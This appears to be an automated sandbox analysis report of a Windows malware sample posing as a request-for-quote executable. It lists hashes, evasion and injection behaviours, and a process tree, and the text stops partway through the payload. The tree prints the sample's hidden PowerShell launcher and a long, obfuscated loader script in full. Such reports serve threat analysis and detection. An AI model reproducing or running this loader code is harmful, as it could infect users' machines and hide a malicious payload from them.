001caa90c4a67fab3db5b1e636093441ce3a0e853427940b338da302252af4d0

General

Target

RFQ-ORS-687.exe
Size

488KB
MD5

0f39a5390cddae67bae83036441c2fe5
SHA1

bd15c5c587233a0e5ba13ff477b998bfe61b3239
SHA256

5a11425c539015cb537e3640b27b039390df7992b2b4dac403a45c42437a1d7a
SHA512

87c63fc3ca27746e3b54d68f5e5ef787501f80add261b06e6e7a93b95df44b238841a2060bb0aa0d3bb102d845c51d42c8b2dc485d4fa9a8e53f084646a3366a
SSDEEP

12288:7iq2TDbJgttJTquTCIE9sw1TaPmIWDGnui:7iq1NqDJswA+3Gnui

Score

7^/10

discovery

Malware Config

Signatures

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	caspol.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Sandpumpers\Tokayeres\Karriererne.fes	RFQ-ORS-687.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
820	powershell.exe
1576	caspol.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 820 set thread context of 1576	820	powershell.exe	32

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
888	powershell.exe
820	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
820	powershell.exe
820	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 888	2040	RFQ-ORS-687.exe	28
PID 2040 wrote to memory of 888	2040	RFQ-ORS-687.exe	28
PID 2040 wrote to memory of 888	2040	RFQ-ORS-687.exe	28
PID 2040 wrote to memory of 888	2040	RFQ-ORS-687.exe	28
PID 888 wrote to memory of 820	888	powershell.exe	30
PID 888 wrote to memory of 820	888	powershell.exe	30
PID 888 wrote to memory of 820	888	powershell.exe	30
PID 888 wrote to memory of 820	888	powershell.exe	30
PID 820 wrote to memory of 1908	820	powershell.exe	31
PID 820 wrote to memory of 1908	820	powershell.exe	31
PID 820 wrote to memory of 1908	820	powershell.exe	31
PID 820 wrote to memory of 1908	820	powershell.exe	31
PID 820 wrote to memory of 1576	820	powershell.exe	32
PID 820 wrote to memory of 1576	820	powershell.exe	32
PID 820 wrote to memory of 1576	820	powershell.exe	32
PID 820 wrote to memory of 1576	820	powershell.exe	32
PID 820 wrote to memory of 1576	820	powershell.exe	32

C:\Users\Admin\AppData\Local\Temp\RFQ-ORS-687.exe
"C:\Users\Admin\AppData\Local\Temp\RFQ-ORS-687.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden $a = Get-Content 'C:\Users\Admin\AppData\Local\Criminalistic39\Renserier.Anv' ; powershell.exe "$a"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#peniser trampfarten Bazookaman Respektablestes Fanners kyllingemoderens Dayfly #>$Afgiftningers = """ R; BF RuTrn pc BtBaihuoginTl FM NaMel EpLirabaKvx NiUns F8 S Ha{Sc g B Pe SpEnaTrrInaDom U( D[brSDet GrSti Bn Sg O] O`$RmU GsKivSaiSpg PeMolFoifrg BeDi)Au;Op An`$BrU EtLueDurHeiOvnCoe A4 F Io=Bi S`$ PUElsThvFiiStg ReBol ZiGegUdeIs.AfLUne Tn egUnt FhNo;Ph O P Ap Ad`$TyG OrSci SfNifFoiAstGihSmnHas BtUniYdtUduOst Bi Fo BnMiaFrl SiArsKoe TrileOpdLyese B=Wo dNcie dwCe-SlO kbNojSee Kc QtAb TbBry St Heer[Um]As Ec(Re`$ SUMatBoe Lr PiDinIneKr4Pa Sp/ D Af2En) P; H U f S DF Mo PrTr( G`$GaGKorPriCofDofwoi Pt DhHa=Co0Au;Hi Po`$PaGRorEuiOsf PfDri StMuh U Em-TrlRytTr S`$ sU BtFaeInrEliHjnLueFj4Ef;Un Lo`$ GG Brbui BfTifCliAnt ChRa+ U= t2Co)Ph{ A Af Am Tr M i In S Re`$reGRerDriDof EfCoiSktFrhPanPes ItSeiPot DuLgt Gi IoCanCha SlReiMbsInePor CeInd Pe A[St`$ CG Jrmui NfChf HiNotNah F/Pi2Re] B M=se Er[ApcTroGonTivOreRerPot U] O:Pi: ET ToBoB AySttSte G(ph`$ShU TsStvKaiTigRueHolAfiBog HeUn. LSSuuLobKosGrt Lr EiObnAlgTh( S`$DrGUnrCriCafZaf LiDot Uh K,Ch M2 D)Un, T S1 R6 C)St;Gy O L`$HuGTer ti FfLefRaiAntRoh vnensNat Pi FtTeu stMiiRuo HnOpa SlCoi VsFoe brDee Bdkae H[ C`$TiGSerMeiNofNofLei gtLyh S/ U2 D] B Bi= K Au( P`$WhGSwr Ti Af TfUdi St PhScnErsMit Bi Kt SuRetBlipeoFlnDaaSvl oi DsLaeFer SephdkieSt[Fr`$ UG Dr Gi AfDyfSei MtBah F/St2Vi]Et K- UbPax BochrKh Hi8Ca7 O)Ch; S S k No Sk} U L[AsSTyt Dr Oi BnAng D]Re[AfS Vy Us nt BebemTa.RhTTiePex AtWo.ExEUnnStcSto AdHai GnBlg Z]In:Pl: RARoS SCskIMuIBi. RG CeAnt LS FtmarMiiPonobgAp(er`$SpG LrSoiHafPrfTriPlt ch VnFrs DtDaiDet suUntVeiFlo Bn UaStlBui Cs BeNor VeRedpreSt) m;An} G`$ RDboi Pf SfFiu En Pd KeNirBieStrPe0Dr=InMHeaZalTrp PrOva SxKoistsSo8 B H' M0Be4He2FoEDe2 U4Pr2 B3 B3Te2 S3 HATa7Ge9Ex3Ko3 B3ViBAg3MfBMe' H;sc`$AnDbeiNofStfGou Gn BdBaeParHue Rr K1Uf=RhMUnaCalUnpHer PaglxSpiSlsAn8 W Mo' s1EuA Y3WaEEc3Re4Ma2St5Pa3 A8Ha2st4Un3Gr8 S3 U1 A2Fi3To7 S9 W0Co0 T3CeEJe3El9sy6 J4Kr6Ro5Br7Co9Ek0 A2Ny3 I9Dr2Ev4Uh3Ba6 T3 c1 p3Tr2Fo1Sy9 S3Fi6 O2 C3 S3MiEKo2Tr1Ha3Pe2Re1 TASw3So2hn2Gl3 D3 RFbr3sk8Ph3Cy3 E2Af4 I'Ap;Fo`$ HD AiOvfScf Su Vn EdIme ErMie RrAn2Sl=EjMBia UlJup FrUna Sxpri BsSa8 H B' m1An0 f3Ex2La2 S3Op0Ch7 D2Ph5By3 C8Fi3 P4 S1 O6Le3 K3Op3 F3 T2Ka5Ek3 A2Te2aa4Lo2dv4Lu'So;In`$StDCoi TfGef GuMan Od SeDorHoe Dr a3 H= tM TaTul Ip tr SaFlxNiiSys T8 D i' s0st4Co2 kE T2 E4He2 S3 I3 P2Ca3IsATi7 B9Ha0Am5 V2Re2Ep3Er9Bo2 m3Za3 TEln3RdA B3Ra2My7No9Ge1PhESt3At9 D2Vo3Ra3Ci2 C2Re5An3 E8Mi2Kk7 D0po4 P3Un2 M2ko5 f2Me1Mo3FlE M3 E4Di3 R2Be2 S4Bo7 S9 A1maF K3 I6In3 E9Bo3Pr3Ri3 VB S3 U2 H0 P5Lu3 k2Co3lo1An' G;Do`$ BDUniAsfGyfBru Tn Sd Ce Srtre Erde4 V=CoMSka LlDep FrSwaUnx Pi HsEq8En Sm'In2Fo4sk2Ov3Im2 T5Po3 HEGa3De9 M3Ji0Ru' N;Ki`$ MD Oi Ff RfUnu rnBadFoe Tr GeEnrCr5 D=DuMDiaIdl Np Pr SaSpx Di is M8 H Ma' M1 T0Bl3Ou2Ha2 T3Mu1SlA L3An8Sm3bo3 S2hn2 H3FeBpu3 S2Fa1 AF T3 W6Dr3Bl9De3 M3 K3HyB K3 T2 K' U; A`$ GD TiDyf Ff RuInnDed MeRerVie BrHo6 A= MMTeaFelSopAfrCha CxPriIns F8Ya Pa' P0 K5 G0Re3Kl0Ef4No2Co7 B3 A2 H3 u4 G3AdE S3 I6Sw3DrBDr1Ge9Pa3Fa6In3StAFo3Ve2 P7AnB B7 S7pa1SwF P3FaESe3Im3Tr3ur2Bl1 T5Ju2 FELi0di4Su3TrE D3Fl0Sp7ReBYa7So7Te0In7 b2No2 I3Gr5Un3BaBUn3AcE P3 I4Ge' F;Fl`$ PDSei KfFif Hu Sn Sd NeKarEle Hr G7an= PMSkaFelunp CrStaAtxRei RsTa8sv Se'Ps0Ch5Fj2Hy2Un3ti9Ar2Du3Ul3PrE N3HoA S3 U2 S7FoBIc7 T7Pu1naANo3No6 O3Ha9Sk3 H6 H3Te0Fl3Co2Un3Di3 S' B;Sk`$ aD SiSmfPafBuuSanSadPneSir GeStrto8Te=OlMrdakul BpPir Ba SxCeiMus B8Sh Tj' S0Ns5Fl3 R2Mi3 R1 H3BeB A3 D2 O3St4 P2es3Me3Cy2 D3En3Sk1Wi3Sy3fo2Pr3ShBLa3Va2dr3Kr0 U3Re6Ca2Pa3 C3La2Ol'Ek; C`$UfDDiiGrf Rf Iu EnAnd Be SrJeeHyrSt9Pe= PMCaaLelMfpPrrPlaBux AiArsEl8 B Pr'Tj1 ME A3Pu9sp1 BAOr3Tr2At3BlAAn3bl8Ea2Mi5Ar2PoE S1GrA O3 O8Dk3Ou3 P2 U2 F3MeBAb3Wi2Be' R; u`$ReAUnkGrtDii roEun AsNupFrlska TnNoe TnAfsUt0 s=DeMKlaNulRypScrVia UxRaiGesEf8Sa A'co1 EA E2BiE B1Me3 H3Pr2Co3deBHj3 G2 H3Un0 S3 T6St2Kv3Pe3 F2 G0Mu3Sc2 OE C2 g7 M3Ov2 T'Bu;Hy`$ CA BkDit IiKaoPlnGas MpDelPraBen CeRensusKu1 w=FoM SaAnlInpAprHiaFixAki Ss G8ch Da' O1Fe4hu3DiBBl3 R6Lu2 p4Va2 A4 P7 CBBo7Tr7De0Eg7 L2Di2As3Ga5Cy3 TB K3OvESe3To4 L7BrB P7Re7 M0at4 I3Be2Pl3Ti6 S3ViB Z3 O2 S3 u3Pe7opBBi7 E7 D1 K6 C3 U9Mi2Ur4 S3NoE S1tr4Kv3EnBBi3uf6Am2St4Di2 C4Fa7AgBFu7 R7Fl1Hy6Tr2 P2 Q2Th3 S3Un8 F1 p4El3 PBEr3 F6le2Fl4 S2 K4Er'Pa;co`$ UA Sk FtDri So snBesAppBol NaFrn Be Bn Hs t2St=NoMGraHol SpCorIoa Nx Ai MsGu8Be Tr' A1UqECh3Sv9Br2Fo1Go3To8 E3 UCAg3 v2Sc'Fu; N`$ hASkk dt ri MoFanLis Up MlTraOpnHae KnFis S3 S= DM Pa OlPip Ar KaHax PiYasli8Ha r'Re0Pl7Lo2 O2 S3 T5 O3OvB A3ReE H3Fu4 M7 VB G7Mo7Go1DoF P3luEAw3He3bu3Ad2 L1 W5 O2CaEIn0 S4Od3DiEdo3Al0 N7BoBFi7Fa7Ko1 B9Pe3St2 i2 E0 C0re4 S3ClB L3My8pi2Sp3Un7TiB L7 R7 T0Co1Bo3DeE E2 R5 R2Cu3 K2Pr2 M3Tv6fo3ArBBa' A; N`$WhATek CtUtiTeo Sn Os EpTelTra MnafeWin PsEg4Br=KoM CaThlUnpIlr ha Ex Ei PsDi8 V L' t0Kr1 F3liEMa2Pl5Sh2 H3ov2Er2Gr3In6To3LoB F1 P6Na3 JB E3 RBCa3Di8 F3Pr4 A' A; V`$FoASpkbytIdi SoPrnses Mp SlSua Dn HeGanMospl5Fe= HMKoaArlLopVarElaEvxDuiKes b8Fa S' U3 A9Mu2st3Ud3 D3 B3PoBKa3 CB B'Fi;Af`$SuAJik FtMiiGao AnShs hp Ll fa FnFoeVinGesMi6 A= PMViaAbl SpSorBoa Rx AiMes M8Ta ba' F1 S9 P2 S3Ov0 S7Na2Fo5Py3Op8 S2 k3Al3en2Mo3sm4Am2 G3Dr0 M1So3 bE P2De5Un2 R3 C2Da2 S3 S6 A3 DBCl1MeABr3 r2 A3 PAJa3Se8 F2 L5ne2KeEMa'Sy;Re`$ KASikSot Ai SoLonBrsRepWilTua DnAgeMan Ws f7Ch= FMKaaBll Tp Dr fa RxCai Ks U8 V Pr'Pr1PoEGo1 B2Fl0NoFEl' T; P`$GaAAmkRetKeiBeoKanFls GpUnlBiaTan Ae RnOmsWh8mu= FM Da Sl MpGar Ja Kx RiTrs D8fr St'Na0 PBIn' S;Ki`$ NU RnsloHabCot Rr Vu Fd BiInnTagEp=UnM EaCrlFopMarDraFox ci Ds O8 I N' B0Sy2Th0Mu4No1Ha2 L0An5Ur6Fo4tr6of5Ta'Te;Co`$ CSTroBicIniUda DlMntEk1Ja2An7 H=AfMLiaArl NpSkr KaRex UiDdsLa8 S C'De1 S4Su3 F6 o3KnBPr3BeBEv0 R0Ca3JuE R3Us9St3gr3Gr3 T8Ye2 U0 S0Da7 U2Re5Ag3Un8Fo3 B4En1Sr6 F' C;HafFau Tn ac dtDeiUpoEjn A Af Sk Sp S Bi{ mP La Sr DaKlm F S( D`$ TC SoFalMneWaoDapJet VeFnrSuaIn1 S7 B3 D,Ga Cu`$ejS Hp seSuehud VmecaPar Ckase GrBonmaeHasCo)Ad In Kn co Or L;St`$UsKStuGel PdPoi RoFoxMai Ed BeFrn as R0 S T= FMPraYolSupTir Ma BxiniDes d8 j T'Pr7Se3 V1 C5Su3baD I3 V2St2Pu3Fl7 E7 P6LaALu7Un7 Z7UdFSt0 YCRe1 V6Le2Eg7 e2 R7Da1 U3Pt3Si8Po3SeAAn3 d6Ph3 UEya3 R9di0 GATh6LeDUn6kvD E1Ho4 S2Ga2Su2Fo5Kr2 P5 E3 C2Mi3 A9 T2El3 a1 a3 o3Co8Un3 EAIn3 S6 T3 PEAf3 P9Sk7ne9Do1 C0Do3Co2Ud2 F3 S1Dr6 R2 I4pa2Fu4 S3Br2Fl3UrA s3Ze5Vi3KpBWa3TuE I3gh2Po2Ov4Ta7 TFGe7 TEFo7In7Al2SnB A7Pa7 S0Di0Ka3 FFSe3Me2De2 H5 p3Ge2 T7CaATi1 S8 S3 Q5 C3PsD A3fa2Te3 B4va2 C3Za7Si7 T2 aCRe7ro7 D7 L3 T0Mi8 P7Su9Ho1 S0 B3 KBju3ad8 D3 A5 v3 P6Al3ChB S1Tr6Fl2 T4 M2 B4De3Ar2Af3FeADe3Bu5Br3 WBLd2JiE F1St4 B3No6 S3 P4 H3 PFSk3Pa2Ri7Ma7Da7BeA H1La6 A3Mo9kl3ku3 N7Un7 S7 U3 U0Fl8Sk7 G9Al1VaBKa3Lk8Ju3gy4 M3pe6Us2Dr3 F3BaEAl3Un8Fi3 L9Re7 i9Re0Un4 S2 F7Ba3IrBAa3 SESl2 A3Fo7FaFSm7 R3Fo1 T6 L3 CCEx2Te3 B3 TEHy3 H8 L3Fr9Qu2 E4No2he7Sk3EgB L3un6Fj3Wa9Or3ka2Ic3Bl9Ot2Ls4 K6PoF P7PeEAn0 ACDe7PrAUn6 h6In0ElA S7 p9 T1Al2Pe2 A6 J2To2wi3 O6Na3 MB G2Gr4Al7 FFSc7 A3Eg1 F3 D3LaE B3 O1Bl3Sq1be2Fa2Su3 U9 N3 K3Pe3 S2Am2Op5Ba3Ti2Sk2 v5Vi6Sa7Av7AnEDe7 S7 E2 PA O7ChE F7Co9Sa1ta0 O3 U2 C2Ba3Av0Un3Sn2SkE S2 A7Ch3Ci2Hu7MaFBo7Am3 S1 K3 I3EqE a3Bo1Li3 U1Na2In2 U3Ta9Cl3 D3 S3St2Ha2Ko5 D3Ud2Pa2Ex5Me6No6 J7EmESp'Ge; p&Fe( V`$ CAFikSytPai So NnNrsAkpAll BahenLie Rn PsSt7Om)Pr sa`$PlK SuSclSadLiiFao FxLyi UdOveEnnScs R0 P; E`$ SKTouRul PdCoiCho PxCriAddUde Cn dsDu5cr Ka=De UM IabelMapOlr DaPrxBaiDds H8 P Sl'Fl7 U3 o1St0Li2Or5 H3FuEat3OvA C2Ud7Ba7In7 R6 pA A7Sp7Ab7Re3Ca1 M5 D3 HDCa3Re2 E2Un3Co7st9Pe1Si0 U3 O2 P2 D3Ke1ReASa3 C2 N2 O3 J3 FFKl3Di8 a3Tr3 H7 VFPs7Pr3Ar1Ur3 T3 SESt3Pl1Ok3Or1Vi2 E2 G3Af9St3 M3to3Mu2 K2Id5ho3 P2Ek2pu5Eq6Fo5 N7 SBFn7 T7hy0 RCPa0 A3 L2AaEIn2Hj7Th3Pr2De0 FCTv0 AA a0BeATr7 R7He1Ar7Do7DiFRe7 D3go1Su3 R3LiESu3 F1 D3 e1Si2Ef2mo3 R9No3Gl3Re3Ou2Mo2 V5 L3 T2 o2Pe5Da6Ou4Al7LaBLe7Mi7Fa7 N3Co1 H3Au3IvETr3du1 A3Ov1Re2Sa2 K3 C9Un3 R3Pa3Re2Ph2Pr5Fl3Un2Ad2 E5 P6 S3Ra7AdE F7 fEOv'Pr;El&Aa( U`$ OAJak UtAni SoSrn FsNypGil SaDynMie Pn Us R7 T) E T`$ lKUduUdl FdBaiHeoFrxtriUndCoe EnDasPo5 S;Mo`$ fK NuPrlUrdKaisuoFrxHyiHedCheCanPrsPr1Me T=Ak SpMSlaBulBapHyrTea mxSvi PsKo8 S Gr'Sa2me5Ku3Dy2 S2 T3 S2su2Ud2 v5Sy3Ra9Ri7An7To7Pr3 T1 s0 I2La5In3CoERv3 kASe2Ga7Na7Un9Sd1 HERe3He9Fj2ad1Ch3Da8pr3 MC F3di2 C7ViF S7 G3 M3 D9Ab2Fe2Pe3StBAg3idBJa7tiB w7 K7om1No7La7BlF Z0 CCOt0In4In2 SE S2En4 B2 O3Cn3 e2 O3CoASt7Fo9Vo0 A5Ko2 P2 L3Cl9Ju2So3 S3AsE F3AnARe3 f2 T7Un9Sk1 RE U3Ne9 M2Pr3 K3Sl2Af2 D5Ba3in8Pr2 C7St0Mi4Fo3 M2 K2 S5 K2 U1Re3ReE L3 D4in3 V2 H2Pa4Al7Th9do1 SF M3be6Tr3Fr9 S3Vi3 S3UnB B3 C2In0Au5 O3Lo2Sp3Am1 R0 SADr7NoFKr1 G9An3 S2Pi2 H0Se7SuA C1 G8 H3Sl5 H3OvDAf3Co2Ha3He4Pa2 E3Ch7 P7 U0Tj4Re2 VE M2 O4Sy2No3op3me2 U3HuA P7 A9Ha0Bi5Ma2Di2 P3Sa9He2Em3Un3AcE P3goA H3 O2Ar7 B9Ca1 AE b3Nu9 L2Tr3 S3Do2 V2 s5Mo3He8Un2 K7 C0 N4Sk3Sa2Id2 K5Ch2 F1 S3NeEIm3 d4Th3Sh2Ar2 A4 O7 M9Ik1 KF U3 I6Al3 v9 A3 R3Mu3 SBAn3 S2 P0ld5up3Fa2 U3 b1Pa7HaF C7PrFCy1Kr9 c3Ka2Ku2Sk0er7ElAEv1So8Ge3 L5 R3KoD S3As2 B3Ri4Ti2Co3No7 h7Go1 BECy3Aq9 D2Ga3 K0Tw7 P2Ay3 H2Sn5 P7 LE P7AsBSt7 S7 S7RuFDr7 B3Un1 H5 Q3 KDna3Co2hu2Ha3 S7Gu9Fo1We0Op3 P2 V2hi3 L1 TA I3 H2 S2 T3Sm3 SFTa3Cy8Br3 H3 U7IdF S7Ex3 a1Af3 I3 DE H3Ro1Pa3Fy1 B2 V2Fi3Ad9 S3Ei3 V3so2Af2 B5 A3Me2 M2Ky5Ga6 F2Ov7ObEBe7 EE C7Ke9Dj1OpE B3 L9 F2 S1 F3Sl8Un3HeCBr3Sm2bo7BlFzu7 A3 V3Av9 K2La2 E3DeBCh3 VB I7KiB U7Ro7 S1 B7 M7 fFAc7Te3 R1 D4 A3Bl8Sa3CeBFl3Pa2 P3 H8Gl2Dy7Fo2 J3Re3 a2Sv2ny5Sa3Sn6mi6Sl6Op6En0ba6 G4Wi7PeEPa7 eETr7 SE S7RuERe7CoB L7 S7El7El3Fa0 H4 F2Ma7Ma3 C2Ra3Ma2 C3 D3 N3 AA U3 K6 M2 O5Ar3tyCMe3Un2Tr2Ma5 S3Ka9Fu3 A2 S2Un4Or7 FE D7 EELa' P;So& B(So`$ EA Ck Ct DiGnoEnnSos SpCalTua AnHye SnJesSp7 T)Py Al`$ sK tu Rl Dd IiSkoSlxBliBld ZeGrnAasAn1 N;Sp} UfOoualn Mc Ut PiDeo Rn f ElGScD HTAf H{ PPUnaber GaBamSk af( F[ OPMia Cr PaopmAdeBlt TeHurBe( SPFoo RsCyiFotAdiHeo MnBo Au=Dg h0 F, A CoMtaaStnbldTaaAut Bo Sr TyRe St=Fr Di`$EkT IrMauDeeKl) S]Ba h[TrT By Cp Se C[In]Sk] r kr`$ DE NnOrd UeTumYeo FrUdn Ze LrGvn PeGl, M[ DPFla Pr PaImmCoeBltAfe Braf(BaPSpoGusAliVetFri Co JnRa sc=Le K1 M)Ha] V Pr[StTmeyBopFieRe]Ga Nu`$SkS Mu Vl Gp bh soCobKleEznNoziniEld CeSu Tr= U as[ fVEroSniFad b]St) W;Ov`$RvK Cu ClStdHyi FoBrx BiShdTeeScn AsFa2Th S= O DeMfoaBrlTrpThr Ba SxAniKusav8Na Og'Al7Sm3Ti3 F6Se3Co9Af3Fa9Zu3 A2 K3 TC A2 B4Gu3Rh2Fo2Up4Co7Ug7 P6beAAd7La7ve0 LCSv1 c6Br2 w7co2 a7 r1nu3St3 P8me3BaAMa3Ur6Wo3 BECr3St9is0StAun6HoDTh6ThDAf1 L4un2Al2 H2Fa5Do2Da5Sa3Po2 N3 R9 P2me3Pl1 n3Ti3 F8Vi3AgAOv3 S6 B3ViEBa3 N9Ju7 M9Hy1Pr3Fu3Wa2Un3Co1 L3BrE B3Gr9za3Qu2 P1Fl3Su2 REPl3Ch9Om3 R6 L3JoAAu3VeECo3ri4 T1 C6 R2 p4 S2 Z4St3Br2 P3RaAPa3Re5 G3ExBMo2 BEMe7SoFDi7GrF E1Ud9Om3 L2Co2Wa0Pr7heA U1 B8 H3Il5an3 TD P3Af2Fl3Ca4 O2 T3Pe7In7 B0 R4Th2SoE T2 A4 V2Pr3po3Un2Un3 PA A7Ry9 W0Be5pa3 N2Su3Ci1 T3SiB H3Ta2 U3Ar4Co2Un3Sh3 MEGr3St8 B3 D9No7Me9ta1 c6St2 V4bo2cr4 F3Pl2Cl3DdAUt3Pn5Le3SkBBg2 TE S1 I9 E3 B6Ma3GeASu3Em2 P7cuF C7Me3ph1Un3 F3CaEWa3 N1Pr3Su1Sp2 A2Re3 U9Ra3Au3sa3 C2Kl2Fa5He3Fo2Se2Ca5Tr6RiFNo7OvESt7KaE o7FyBPa7St7Dr0PlCUd0Di4Am2SoELo2 S4 M2Pi3Re3 h2Un3TuA S7 Y9 A0De5 k3Fo2An3 D1Ma3 AB F3Fr2In3Sp4De2Bo3Sp3 ME K3Fo8Sr3 N9Fi7Ja9 f1 R2 S3 FA v3AlEFi2Di3 S7In9 I1No6De2Bi4 A2me4Ov3st2Ka3 TA H3 N5 K3UlB K2TrEOh1 s5 K2 F2Im3 UEPa3 SBDe3Fo3Ph3 S2Tr2 S5Pa1Gy6kr3Bo4Po3Re4 H3Wa2Sp2Ti4 D2 T4 S0LeA T6 BDAn6JiD S0 K5 a2Su2 U3Fu9 S7 NEDa7Ek9 H1Sk3 V3 S2 A3Gl1 D3ekESa3Af9By3 S2 F1pa3Sa2 mEMu3 U9 M3at6Ov3 SASp3EnE S3Ch4Ba1 BA A3 A8Al3Ue3 F2Un2 K3SkBUn3Re2Co7SyFTr7Mi3Sa1Fo3Fo3StE p3 U1 D3 M1 A2Ti2 M3Kn9Ve3 G3Gr3 U2 S2Uf5 S3Pr2 S2 b5Ov6AfEId7ArB V7Ci7Hv7Ca3Li3Su1Fa3Av6Be3PiB P2Fr4 F3 G2 V7 ME K7Sh9 I1 S3 B3Ph2Ti3 C1pa3BiEEm3To9 C3Th2Fi0Fr3Sh2 AEPh2In7St3Cr2Un7 OFIs7pa3 F1Pr6 N3GlCAm2Di3Af3 BE L3 D8 H3 B9Fo2Sp4 P2 E7Pe3MaBPr3Mu6El3Rg9Do3 V2 F3 S9Ta2Sv4Sn6Be7kv7 CBBr7 R7Mu7Fr3Rh1Mo6Un3UrC s2Sp3Hj3 BE R3En8Po3 A9 E2bo4 E2br7Bl3GiB k3sk6In3My9Sn3Br2Ga3Af9 K2 F4Sk6Sc6sk7MaBSy7 T7 K0 sCKi0Pe4Ov2 AE M2Va4 R2 W3 U3 Z2Mi3DeATr7 E9Ma1 NABe2Ba2 N3 EBMa2kn3 b3KoEMi3 S4Ne3Ut6 C2Bl4In2 H3Bo1 B3Ps3 S2Si3FoBCh3Se2 U3 O0De3 S6 U2 G3St3 S2 V0OmACa7 CE L'Hu; P&By(St`$AoA MkAntboiDioCon KsOvp NlAda Ln WeTun Bs U7Sl)Ps S`$TfK Ju Bl Ud NiInocoxSpiWrd Qe Sn GsKr2 T;Un`$FiKCau BlCadWhi OoMaxryi Ad beArnBisHy3 U K= D MoM LaCalMapCor Ua Fx SiPasEr8 O H'No7An3Pe3Bu6Pe3hu9Sn3Fl9Ba3 D2Sv3HoCDa2Ta4Bu3He2An2 S4Ug7Sv9Ar1 J3Pl3Ca2Ta3Un1 A3ReEPr3Es9Tr3ma2Au1My4Pr3Va8 H3Be9 S2 u4Ha2 H3In2 S5Ti2Km2 K3Sp4 U2Ru3 S3 B8ps2 K5Da7 IF A7Gr3Su1Tr3Ek3 KE G3 T1Ca3 K1 R2 O2Gr3 A9Sa3 O3 O3St2Pl2 A5 B3Gu2Pa2Do5 G6Br1Tr7SeBMo7St7ra0TeCUm0Ph4 H2ReEBe2 T4 O2Ch3 E3 K2Ok3 uAVe7 H9Sl0Ha5 C3ge2py3 A1Me3 RB D3Ud2Gl3Pr4 U2ha3ga3WoEAb3In8 Z3 L9Ar7Ta9Ro1hy4Rk3 p6 L3HaB S3MaBSu3LuESa3ru9Re3st0 D1Pe4 U3Ta8 T3Tr9Ho2Co1Vi3Je2 A3 L9 V2Un3Ma3BoECi3Sv8Al3Ef9Dr2 D4 P0EnA A6 BDsc6AlD S0 U4Pr2Ba3Vo3Ho6 b3 s9Bu3 O3Ar3 P6 A2Bo5Ln3Ba3St7VdBud7 t7 C7Ud3Sn1La2In3So9Af3Sk3Ls3 R2 T3DeAIg3 M8 H2Ct5 F3Co9My3Af2Mo2Pi5Pr3 o9 S3Cy2Ar7SaE T7 U9Gl0La4Ov3Ra2No2 F3Cl1HeEDo3PeA F2 K7No3 SBGa3Ci2So3 UANy3En2 S3 G9Fa2 M3Er3Ti6 K2 o3Tr3ZiE K3 A8 B3 H9Un1 G1 B3MiBSc3Ja6 V3 P0Ol2 O4 G7ArF S7 T3 U1 C3Vr3 WEPe3 E1Di3Za1 K2Pr2Im3La9Sp3 F3an3 F2 E2 P5 I3Di2Ex2Re5 A6 B0Do7 AEFr' E; H& a( P`$ JAFukPet Di PoUnn PsBipColCoaHanMietinRas B7 R)Re P`$ PK eu ylAndKoi RoEvxfriBedSje Gn As O3 B;Fl`$ DK GuFolHydTriDio IxUniJod TeUnnOusre4 S a=Fo RMKoa Kl UpMirLoa ExSpi IsPr8Pt B'St7Ya3Pi3Ar6 G3Gs9Hy3 T9 S3 S2 S3KlCAn2 A4Nu3 e2Bu2 U4 M7Co9 I1Mo3Pu3 P2Pi3Bu1Fl3 BE F3St9Fo3Fo2 F1BaAMi3Un2Ho2Ti3Fe3HjFIn3Va8Hi3 A3 L7 SFTi7An3Un1Ji6Se3ExCFi2 R3Sm3 SETr3 O8Re3 C9 A2Fl4gl2Ba7Ki3RiB W3Du6 S3Ly9 K3Po2We3Un9Fl2 T4 S6Dy5co7 DBce7Fr7Em7 F3Ag1Li6ti3maC I2Fi3Ba3 RE F3 E8Bj3Mu9Ca2 P4 W2Kl7Be3VrBUn3 B6Mi3 V9In3Tr2on3Hj9Ve2Un4Pr6Un4 R7PoB H7 D7Ro7An3 P0Un4In2 b2 R3 RB H2Me7Ci3AtF S3Sk8Ka3Bo5 F3No2Ci3 U9 P2 BDAs3KnE A3To3 V3 I2Te7 UBDa7 B7 G7 r3Sv1Fr2Un3Pa9Rd3Ev3Au3 D2Fo3FoABe3 s8Ma2Sa5Co3 S9Br3 F2 J2Do5Li3Ch9 S3Co2Pj7GiEEl7Sh9ho0Br4Ng3Re2 S2Re3 c1FyEBr3 EAUd2 D7Lu3 sBRe3 T2 I3SpACr3An2 U3Ut9De2 D3 B3 G6An2 w3Fa3MoECh3Se8Ra3 H9 U1 D1 S3BaBDi3No6Pa3 S0 N2Te4In7 MFAf7pe3 K1 T3Ph3SmEhy3 c1un3Ma1La2eu2 t3 S9Fo3 B3 H3Go2 T2 I5 D3 E2Af2Ca5Cl6Oc0 J7 xE U'Hj; U& D(Sy`$ SAEakEltRai Mo In DsLgp AlToa InBle SnGas A7br) S Au`$OmKAduUsl BdSii Ro BxStipedSieOun AsAm4 T;Ly`$IcK WuRhl Sd ViheoCux Bi AdNjeBenResCo5 B Rn=Or HvM OaHjlUtpDir na Ax Li SsNu8 N 